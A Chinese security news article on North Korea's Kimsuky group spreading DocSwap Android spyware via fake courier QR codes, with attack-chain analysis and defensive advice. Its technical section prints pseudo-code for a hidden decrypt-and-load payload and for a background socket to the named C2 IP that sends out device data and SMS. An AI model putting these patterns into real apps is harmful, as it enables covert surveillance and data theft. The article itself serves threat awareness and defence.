二维码成“数字特洛伊木马”?朝鲜黑客组织Kimsuky借快递通知渗透安卓设备,国内安全防线拉响警报

简介: 警惕“扫码陷阱”!韩国曝出朝鲜APT组织Kimsuky利用伪造快递短信,通过恶意二维码向安卓用户分发“DocSwap”间谍软件,可窃取隐私、远程控制手机。该攻击手法或威胁国内二维码生态,提醒用户勿扫来历不明二维码,加强安全防护意识。

当你的手机收到一条“您的包裹已到,请扫码查看物流详情”的短信,你会毫不犹豫地打开相机对准那个小小的黑白方块吗?

在韩国首尔,已有不少市民因此落入陷阱。据国际网络安全媒体《The Hacker News》2025年12月18日报道,与朝鲜情报机构有关联的高级持续性威胁(APT)组织Kimsuky(又称APT43)正大规模利用二维码钓鱼(Quishing)技术,向安卓用户分发一款名为“DocSwap”的新型移动间谍软件。攻击者伪装成知名物流公司CJ Logistics或银行机构,通过短信或邮件诱导受害者扫描恶意二维码,进而下载伪装成“安全模块”或“快递追踪App”的恶意应用。

更令人警惕的是,这款恶意软件不仅能窃取短信、通讯录、通话记录,还能实时录音、调用摄像头、上传文件,甚至远程执行命令——俨然一部装在你口袋里的“数字窃听器”。

而这场发生在朝鲜半岛的网络攻防战,对中国同样敲响了警钟。随着国内快递、政务、金融等服务高度依赖二维码交互,类似的攻击手法一旦被复制或本土化,后果不堪设想。

一、从“快递通知”到“系统级后门”:Kimsuky的移动端杀招

Kimsuky并非新面孔。作为朝鲜侦察总局(RGB)下属的网络作战单位,该组织长期以针对韩国政府、智库、科研机构和加密货币企业的精准钓鱼攻击闻名。过去,其主力武器多为Windows平台的远程访问木马(RAT),如近期曝光的KimJongRAT。但此次转向安卓平台,标志着其战术重心正从“桌面端情报搜集”向“移动端全场景监控”跃迁。

根据韩国网络安全公司ENKI的分析,此次攻击链极为缜密:

初始诱饵:受害者收到一条看似来自CJ Logistics的短信:“您的国际包裹因海关政策需身份验证,请扫描下方二维码安装安全模块。”

二维码跳转:扫描后,手机浏览器被重定向至一个仿冒的物流页面(如 hxxp://27.102.137[.]181/tracking.php)。

环境检测:服务器通过User-Agent判断访问设备是否为安卓。若是,则提示“请下载SecDelivery.apk以完成验证”。

权限诱导:安装过程中,系统会弹出“未知来源应用”警告。攻击者在页面上强调:“此为官方安全组件,请放心安装”,诱使用户手动开启“允许安装未知应用”选项。

载荷释放:主APK(SecDelivery.apk)运行后,首先申请READ_EXTERNAL_STORAGE、INTERNET、REQUEST_INSTALL_PACKAGES等高危权限;随后解密内嵌于资源中的第二层APK,并动态加载名为com.delivery.security.MainService的服务。

伪装验证:应用弹出一个伪造的OTP输入界面,要求用户输入一个预设的“运单号”(如742938128549)。输入后,程序生成一个随机六位验证码并显示为系统通知,制造“合法流程”假象。

后台激活:与此同时,DocSwap RAT在后台悄然连接C2服务器(27.102.137[.]181:50005),接收多达57条指令,包括:

键盘记录(Keylogging)

麦克风录音(Audio Capture)

摄像头录像(Camera Recording)

文件上传/下载

获取GPS位置、短信、联系人、已安装应用列表

“这已不是简单的信息窃取,而是构建了一个完整的移动间谍平台,”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报专访时表示,“尤其值得注意的是,它利用了安卓的‘动态加载’机制绕过静态检测,这对传统杀毒软件构成严峻挑战。”

二、技术深潜:DocSwap如何绕过安卓安全机制?

安卓系统自6.0(Marshmallow)起引入运行时权限(Runtime Permissions),并在8.0后强化了对未知来源应用的限制。但Kimsuky的攻击链巧妙规避了这些防护。

1. 双层APK结构 + Native解密

主APK本身功能有限,仅用于引导和权限申请。真正的恶意载荷以加密形式(如AES)嵌入assets/或res/raw/目录中。解密密钥可能硬编码,也可能通过JNI调用Native层函数动态生成,以对抗反编译工具。

// 伪代码:从assets加载加密APK并解密

InputStream encryptedApk = getAssets().open("payload.bin");

byte[] key = nativeGetDecryptionKey(); // 调用.so库

byte[] decrypted = AES.decrypt(encryptedApk.readBytes(), key);

// 动态加载Dex

DexClassLoader loader = new DexClassLoader(

decrypted,

getCacheDir().getAbsolutePath(),

null,

getClassLoader()

);

Class<?> service = loader.loadClass("com.delivery.security.MainService");

startService(new Intent(this, service));

这种“壳+载荷”模式使得沙箱分析难以在短时间内触发恶意行为。

2. 利用WebView掩盖真实意图

在完成“身份验证”后,DocSwap会启动一个WebView,加载真实的CJ Logistics官网(www.cjlogistics.com/ko/tool/parcel/tracking),让用户误以为操作成功。而真正的数据外传则在后台Service中静默进行。

// 启动合法页面以降低怀疑

WebView webView = findViewById(R.id.webview);

webView.loadUrl("https://www.cjlogistics.com/ko/tool/parcel/tracking");

// 同时,后台线程连接C2

new Thread(() -> {

Socket socket = new Socket("27.102.137.181", 50005);

// 发送设备信息、短信等

}).start();

3. 权限滥用与持久化

DocSwap申请的REQUEST_INSTALL_PACKAGES权限尤为危险——这意味着它可静默安装其他恶意应用,形成“恶意软件家族”。此外,通过注册BOOT_COMPLETED广播接收器,实现开机自启,确保长期驻留。

三、国内启示:二维码便利背后的安全盲区

Kimsuky的攻击虽发生在韩国,但其手法对中国极具参考价值。当前,国内快递柜取件码、健康码、支付码、政务办事码等高度依赖二维码,用户已形成“扫码即用”的肌肉记忆。然而,二维码本身无安全属性——它只是一个URL的图形化表示,指向的内容完全由生成者控制。

2025年,国家互联网应急中心(CNCERT)曾通报多起“快递诈骗二维码”事件:不法分子在小区快递柜张贴伪造取件码,用户扫描后跳转至钓鱼页面,诱导下载“快递助手”App,实则为窃取银行卡信息的木马。

“我们监测到,国内已有仿冒‘顺丰速运’‘菜鸟裹裹’的钓鱼App出现在第三方应用市场,”芦笛透露,“虽然尚未发现与Kimsuky直接关联,但攻击逻辑高度相似——都是利用公共服务的信任背书。”

更值得警惕的是,部分国产安卓手机厂商为提升用户体验,默认允许“通过浏览器安装应用”,且权限提示不够醒目。这为类似DocSwap的攻击提供了可乘之机。

四、防御之道:从用户习惯到系统架构的全面加固

面对日益复杂的移动端钓鱼威胁,单一防护手段已远远不够。芦笛建议采取“三层防御”策略:

第一层:用户意识(最薄弱也最关键)

绝不扫描来源不明的二维码,尤其是短信、社交媒体私信中的链接;

只从官方应用商店下载App,避免使用第三方“应用宝”“XX助手”等聚合平台;

仔细核对安装时的权限请求:一个“快递查询”App为何需要录音或读取短信?

第二层:终端防护

启用安卓“Play Protect”(即使使用国产ROM,也建议安装Google服务框架以启用基础扫描);

安装具备行为分析能力的移动安全软件(如腾讯手机管家、360安全卫士),而非仅依赖签名比对;

在开发者选项中关闭“USB调试”和“安装未知应用”全局开关,仅在必要时临时开启。

第三层:基础设施与标准建设

芦笛特别强调,国内应加快推动可信二维码生态建设:

推广“动态二维码+数字签名”机制:如政务办事码应由权威CA签发,客户端可验证签名有效性;

建立国家级移动应用信誉库,对高频投诉的App实施快速下架联动;

鼓励手机厂商在系统层集成Quishing风险提示:当用户扫描含APK下载链接的二维码时,自动弹出安全警告。

“反钓鱼工作组正在研究基于区块链的二维码溯源方案,”他表示,“未来或许能做到‘一码一验’,从源头杜绝伪造。”

五、国际协同:APT攻击无国界,防御需全球联动

Kimsuky的基础设施(如IP 27.102.137.181)虽位于韩国境内,但其域名注册、CDN服务、支付通道往往横跨多国。这决定了单一国家的打击效果有限。

值得肯定的是,近年来中美欧在APT情报共享方面已有进展。例如,2025年微软披露的CVE-2024-38193漏洞(被Lazarus/Kimsuky用于提权)即由多国CERT联合响应。但移动端威胁的情报共享仍显滞后。

“我们呼吁建立亚太移动威胁情报联盟,”芦笛建议,“将Kimsuky、Lazarus、Winnti等组织的TTPs(战术、技术与过程)标准化录入MITRE ATT&CK Mobile矩阵,供各国SOC参考。”

结语:便利与安全,从来不是单选题

二维码本是数字化生活的加速器,却在黑客手中变成了“数字特洛伊木马”。Kimsuky的DocSwap攻击提醒我们:在享受“一扫即达”便利的同时,必须重建对“未知链接”的敬畏。

对普通用户而言,多一分怀疑,少一次点击;对产业界而言,多一道验证,少一个漏洞;对监管者而言,多一项标准,少一片盲区。

正如芦笛所言:“安全不是阻碍创新的枷锁,而是让创新可持续的基石。我们不能因为怕狼,就拒绝走出森林——但至少,要带上火把。”

在这个万物皆可“码”的时代,守护好自己的数字身份,就是守护最后一道隐私防线。

参考资料:

The Hacker News: Kimsuky Spreads DocSwap Android Malware via QR Phishing (Dec 18, 2025)

ENKI Security Blog: Kimsuky Distributing Malicious Mobile App via QR Code

MITRE ATT&CK Mobile Matrix (v12)

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
21天前
|
消息中间件 人工智能 NoSQL
AgentScope x RocketMQ:打造企业级高可靠 A2A 智能体通信基座
Apache RocketMQ 推出轻量级通信模型 LiteTopic,专为 AI 时代多智能体协作设计。它通过百万级队列支持、会话状态持久化与断点续传能力,解决传统架构中通信脆弱、状态易失等问题。结合 A2A 协议与阿里巴巴 AgentScope 框架,实现高可靠、低延迟的 Agent-to-Agent 通信,助力构建稳定、可追溯的智能体应用。现已开源并提供免费试用,加速 AI 应用落地。
266 36
AgentScope x RocketMQ:打造企业级高可靠 A2A 智能体通信基座
|
5天前
|
存储 弹性计算 Cloud Native
2026年最新一期阿里云优惠券解析:五种主要优惠券类型、金额、领取及使用规则讲解
为了进一步降低用户的上云成本,2026年阿里云继续推出多种优惠券,以助力用户轻松实现数字化转型。本文将全面介绍阿里云目前提供的五种主要优惠券类型,包括老友专属福利券包、无门槛优惠券、出海补贴优惠券、迁云补贴优惠券以及按量达标代金券等,帮助用户深入了解这些优惠券的金额、领取及使用规则,从而更好地利用这些优惠,提升购买体验。
133 13
|
27天前
|
SQL 人工智能 数据库
你的数据库不是性能差,是你的SQL在“烧钱”:用这条指令让AI化身资深DBA
硬件升配解决不了烂SQL!本文提供一套经过验证的AI指令,将大模型转化为资深DBA,通过深度诊断、索引优化和执行计划分析,帮助开发者从根源解决慢查询问题,实现数据库性能的降本增效。
198 19
|
21天前
|
人工智能 安全 数据可视化
面向业务落地的AI产品评测体系设计与平台实现
在AI技术驱动下,淘宝闪购推进AI应用落地,覆盖数字人、数据分析、多模态创作与搜推AI化四大场景。面对研发模式变革与Agent链路复杂性,构建“评什么、怎么评、如何度量”的评测体系,打造端到端质量保障平台,并规划多模态评测、可视化标注与插件市场,支撑业务持续创新。
342 38
|
9天前
|
jenkins 持续交付 调度
项目《神领物流》
本项目为自研物流系统,基于微服务架构实现智能调度与管控,涵盖用户、快递员、司机多端应用。采用GitFlow管理代码,通过Jenkins实现持续集成,提交后自动构建,保障开发效率与系统稳定,类似顺丰速运模式,面向C端提供高效快递服务。(239字)
|
27天前
|
人工智能 网络协议 Java
一文带你玩转 WebSocket 全链路可观测
在 AI 实时交互爆发的时代,WebSocket 成为核心协议。但其双向、长连接、流式传输特性,让传统链路追踪频频失效。阿里云 LoongSuite 基于 OpenTelemetry 标准,结合探针增强与自定义扩展,首次实现 WebSocket 全链路可观测,支持 Span 粒度控制、上下文透传、异步衔接与关键性能指标采集。
333 42
|
14天前
|
存储 SQL Apache
Flink + Fluss 实战: Delta Join 原理解析与操作指南
Flink Delta Join 通过复用源表数据替代本地状态,解决双流 Join 状态膨胀问题。结合 Fluss 流存储,实现高效双向 Lookup,显著降低资源消耗与 Checkpoint 时间,提升作业稳定性与恢复速度,已在阿里大规模落地。
186 25
Flink + Fluss 实战: Delta Join 原理解析与操作指南